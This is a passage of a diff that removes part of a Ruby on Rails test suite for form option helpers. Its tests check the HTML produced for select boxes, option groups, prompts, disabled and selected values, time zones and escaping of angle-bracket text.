- end
-end
-
-TZInfo::Timezone.cattr_reader :loaded_zones
-
-class FormOptionsHelperTest < ActionView::TestCase
- tests ActionView::Helpers::FormOptionsHelper
-
- silence_warnings do
- Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
- Continent = Struct.new('Continent', :continent_name, :countries)
- Country = Struct.new('Country', :country_id, :country_name)
- Firm = Struct.new('Firm', :time_zone)
- Album = Struct.new('Album', :id, :title, :genre)
- end
-
- def setup
- @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
- tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
- ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
- zones << tz
- end
- ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
- end
-
- def test_collection_options
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title")
- )
- end
-
-
- def test_collection_options_with_preselected_value
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
- )
- end
-
- def test_collection_options_with_preselected_value_array
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
- )
- end
-
- def test_collection_options_with_proc_for_selected
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
- )
- end
-
- def test_collection_options_with_disabled_value
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
- )
- end
-
- def test_collection_options_with_disabled_array
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
- )
- end
-
- def test_collection_options_with_preselected_and_disabled_value
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
- )
- end
-
- def test_collection_options_with_proc_for_disabled
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda {|p| %w(Babe Cabe).include?(p.author_name)})
- )
- end
-
- def test_collection_options_with_proc_for_value_method
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
- )
- end
-
- def test_collection_options_with_proc_for_text_method
- assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
- )
- end
-
- def test_string_options_for_select
- options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
- assert_dom_equal(
- options,
- options_for_select(options)
- )
- end
-
- def test_array_options_for_select
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "<Denmark>", "USA", "Sweden" ])
- )
- end
-
- def test_array_options_for_select_with_selection
- assert_dom_equal(
- "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
- )
- end
-
- def test_array_options_for_select_with_selection_array
- assert_dom_equal(
- "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
- )
- end
-
- def test_array_options_for_select_with_disabled_value
- assert_dom_equal(
- "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
- )
- end
-
- def test_array_options_for_select_with_disabled_array
- assert_dom_equal(
- "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
- )
- end
-
- def test_array_options_for_select_with_selection_and_disabled_value
- assert_dom_equal(
- "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
- )
- end
-
- def test_boolean_array_options_for_select_with_selection_and_disabled_value
- assert_dom_equal(
- "<option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option>",
- options_for_select([ true, false ], :selected => false, :disabled => nil)
- )
- end
-
- def test_range_options_for_select
- assert_dom_equal(
- "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
- options_for_select(1..3)
- )
- end
-
- def test_array_options_for_string_include_in_other_string_bug_fix
- assert_dom_equal(
- "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
- options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
- )
- assert_dom_equal(
- "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
- options_for_select([ "ruby", "rubyonrails" ], "ruby")
- )
- assert_dom_equal(
- %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
- options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
- )
- end
-
- def test_hash_options_for_select
- assert_dom_equal(
- "<option value=\"Dollar\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
- options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
- )
- assert_dom_equal(
- "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
- options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
- )
- assert_dom_equal(
- "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>",
- options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
- )
- end
-
- def test_ducktyped_options_for_select
- quack = Struct.new(:first, :last)
- assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
- options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
- )
- assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
- options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
- )
- assert_dom_equal(
- "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
- options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
- )
- end
-
- def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
- albums = [ Album.new(1, "first","rap"), Album.new(2, "second","pop")]
- assert_dom_equal(
- %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
- options_from_collection_for_select(albums, "id", "genre", :selected => "1")
- )
- end
-
- def test_collection_options_with_preselected_value_as_integer_and_option_value_is_string
- albums = [ Album.new("1", "first","rap"), Album.new("2", "second","pop")]
-
- assert_dom_equal(
- %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
- options_from_collection_for_select(albums, "id", "genre", :selected => 1)
- )
- end
-
- def test_collection_options_with_preselected_value_as_string_and_option_value_is_float
- albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
- assert_dom_equal(
- %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
- options_from_collection_for_select(albums, "id", "genre", :selected => "2.0")
- )
- end
-
- def test_collection_options_with_preselected_value_as_nil
- albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
- assert_dom_equal(
- %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
- options_from_collection_for_select(albums, "id", "genre", :selected => nil)
- )
- end
-
- def test_collection_options_with_disabled_value_as_nil
- albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
- assert_dom_equal(
- %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
- options_from_collection_for_select(albums, "id", "genre", :disabled => nil)
- )
- end
-
- def test_collection_options_with_disabled_value_as_array
- albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
-
- assert_dom_equal(
- %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
- options_from_collection_for_select(albums, "id", "genre", :disabled => ["1.0", 2.0])
- )
- end
-
- def test_collection_options_with_preselected_values_as_string_array_and_option_value_is_float
- albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop"), Album.new(3.0, "third","country") ]
-
- assert_dom_equal(
- %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
- options_from_collection_for_select(albums, "id", "genre", ["1.0","3.0"])
- )
- end
-
- def test_option_groups_from_collection_for_select
- assert_dom_equal(
- "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
- option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk")
- )
- end
-
- def test_option_groups_from_collection_for_select_returns_html_safe_string
- assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
- end
-
- def test_grouped_options_for_select_with_array
- assert_dom_equal(
- "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
- grouped_options_for_select([
- ["North America",
- [['United States','US'],"Canada"]],
- ["Europe",
- [["Great Britain","GB"], "Germany"]]
- ])
- )
- end
-
- def test_grouped_options_for_select_with_optional_divider
- assert_dom_equal(
- "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
-
- grouped_options_for_select([['US',"Canada"] , ["GB", "Germany"]], nil, divider: "----------")
- )
- end
-
- def test_grouped_options_for_select_with_selected_and_prompt_deprecated
- assert_deprecated 'Passing the prompt to grouped_options_for_select as an argument is deprecated. Please use an options hash like `{ prompt: "Choose a product..." }`.' do
- assert_dom_equal(
- "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
- grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
- )
- end
- end
-
- def test_grouped_options_for_select_with_selected_and_prompt
- assert_dom_equal(
- "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
- grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
- )
- end
-
- def test_grouped_options_for_select_with_selected_and_prompt_true
- assert_dom_equal(
- "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
- grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: true)
- )
- end
-
- def test_grouped_options_for_select_returns_html_safe_string
- assert grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]]).html_safe?
- end
-
- def test_grouped_options_for_select_with_prompt_returns_html_escaped_string_deprecated
- ActiveSupport::Deprecation.silence do
- assert_dom_equal(
- "<option value=\"\">&lt;Choose One&gt;</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
- grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, '<Choose One>'))
- end
- end
-
- def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
- assert_dom_equal(
- "<option value=\"\">&lt;Choose One&gt;</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
- grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, prompt: '<Choose One>'))
- end
-
- def test_optgroups_with_with_options_with_hash
- assert_dom_equal(
- "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
- grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
- )
- end
-
- def test_time_zone_options_no_parms
- opts = time_zone_options_for_select
- assert_dom_equal "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>\n" +
- "<option value=\"E\">E</option>",
- opts
- end
-
- def test_time_zone_options_with_selected
- opts = time_zone_options_for_select( "D" )
- assert_dom_equal "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>",
- opts
- end
-
- def test_time_zone_options_with_unknown_selected
- opts = time_zone_options_for_select( "K" )
- assert_dom_equal "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>\n" +
- "<option value=\"E\">E</option>",
- opts
- end
-
- def test_time_zone_options_with_priority_zones
- zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
- opts = time_zone_options_for_select( nil, zones )
- assert_dom_equal "<option value=\"B\">B</option>\n" +
- "<option value=\"E\">E</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>",
- opts
- end
-
- def test_time_zone_options_with_selected_priority_zones
- zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
- opts = time_zone_options_for_select( "E", zones )
- assert_dom_equal "<option value=\"B\">B</option>\n" +
- "<option value=\"E\" selected=\"selected\">E</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>",
- opts
- end
-
- def test_time_zone_options_with_unselected_priority_zones
- zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
- opts = time_zone_options_for_select( "C", zones )
- assert_dom_equal "<option value=\"B\">B</option>\n" +
- "<option value=\"E\">E</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"C\" selected=\"selected\">C</option>\n" +
- "<option value=\"D\">D</option>",
- opts
- end
-
- def test_time_zone_options_returns_html_safe_string
- assert time_zone_options_for_select.html_safe?
- end
-
- def test_select
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest))
- )
- end
-
- def test_select_without_multiple
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"></select>",
- select(:post, :category, "", {}, :multiple => false)
- )
- end
-
- def test_select_with_grouped_collection_as_nested_array
- @post = Post.new
-
- countries_by_continent = [
- ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]],
- ["Europe", [["Denmark", "dk"], ["Ireland", "ie"]]],
- ]
-
- assert_dom_equal(
- [
- %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>},
- %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
- %Q{<option value="ie">Ireland</option></optgroup></select>},
- ].join("\n"),
- select("post", "origin", countries_by_continent)
- )
- end
-
- def test_select_with_grouped_collection_as_hash
- @post = Post.new
-
- countries_by_continent = {
- "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]],
- "Europe" => [["Denmark", "dk"], ["Ireland", "ie"]],
- }
-
- assert_dom_equal(
- [
- %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>},
- %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
- %Q{<option value="ie">Ireland</option></optgroup></select>},
- ].join("\n"),
- select("post", "origin", countries_by_continent)
- )
- end
-
- def test_select_with_boolean_method
- @post = Post.new
- @post.allow_comments = false
- assert_dom_equal(
- "<select id=\"post_allow_comments\" name=\"post[allow_comments]\"><option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option></select>",
- select("post", "allow_comments", %w( true false ))
- )
- end
-
- def test_select_under_fields_for
- @post = Post.new
- @post.category = "<mus>"
-
- output_buffer = fields_for :post, @post do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
-
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
- end
-
- def test_fields_for_with_record_inherited_from_hash
- map = Map.new
-
- output_buffer = fields_for :map, map do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
-
- assert_dom_equal(
- "<select id=\"map_category\" name=\"map[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
- end
-
- def test_select_under_fields_for_with_index
- @post = Post.new
- @post.category = "<mus>"
-
- output_buffer = fields_for :post, @post, :index => 108 do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
-
- assert_dom_equal(
- "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
- end
-
- def test_select_under_fields_for_with_auto_index
- @post = Post.new
- @post.category = "<mus>"
- def @post.to_param; 108; end
-
- output_buffer = fields_for "post[]", @post do |f|
- concat f.select(:category, %w( abe <mus> hest))
- end
-
- assert_dom_equal(
- "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- output_buffer
- )
- end
-
- def test_select_under_fields_for_with_string_and_given_prompt
- @post = Post.new
- options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe
-
- output_buffer = fields_for :post, @post do |f|
- concat f.select(:category, options, :prompt => 'The prompt')
- end
-
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
- output_buffer
- )
- end
-
- def test_select_with_multiple_to_add_hidden_input
- output_buffer = select(:post, :category, "", {}, :multiple => true)
- assert_dom_equal(
- "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
- output_buffer
- )
- end
-
- def test_select_with_multiple_and_without_hidden_input
- output_buffer = select(:post, :category, "", {:include_hidden => false}, :multiple => true)
- assert_dom_equal(
- "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
- output_buffer
- )
- end
-
- def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
- output_buffer = select(:post, :category, "", {}, :multiple => true, :disabled => true)
- assert_dom_equal(
- "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
- output_buffer
- )
- end
-
- def test_select_with_blank
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :include_blank => true)
- )
- end
-
- def test_select_with_blank_as_string
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
- )
- end
-
- def test_select_with_blank_as_string_escaped
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">&lt;None&gt;</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :include_blank => '<None>')
- )
- end
-
- def test_select_with_default_prompt
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => true)
- )
- end
-
- def test_select_no_prompt_when_select_has_value
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => true)
- )
- end
-
- def test_select_with_given_prompt
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
- )
- end
-
- def test_select_with_given_prompt_escaped
- @post = Post.new
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">&lt;The prompt&gt;</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => '<The prompt>')
- )
- end
-
- def test_select_with_prompt_and_blank
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
- )
- end
-
- def test_empty
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
- select("post", "category", [], :prompt => true, :include_blank => true)
- )
- end
-
- def test_select_with_nil
- @post = Post.new
- @post.category = "othervalue"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
- select("post", "category", [nil, "othervalue"])
- )
- end
-
- def test_required_select
- assert_dom_equal(
- %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
- select("post", "category", %w(abe mus hest), {}, required: true)
- )
- end
-
- def test_required_select_with_include_blank_prompt
- assert_dom_equal(
- %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
- select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
- )
- end
-
- def test_required_select_with_prompt
- assert_dom_equal(
- %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
- select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
- )
- end
-
- def test_required_select_display_size_equals_to_one
- assert_dom_equal(
- %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
- select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
- )
- end
-
- def test_required_select_with_display_size_bigger_than_one
- assert_dom_equal(
- %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
- select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
- )
- end
-
- def test_required_select_with_multiple_option
- assert_dom_equal(
- %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
- select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
- )
- end
-
- def test_select_with_fixnum
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
- select("post", "category", [1], :prompt => true, :include_blank => true)
- )
- end
-
- def test_list_of_lists
- @post = Post.new
- @post.category = ""
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
- select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true)
- )
- end
-
- def test_select_with_selected_value
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
- )
- end
-
- def test_select_with_index_option
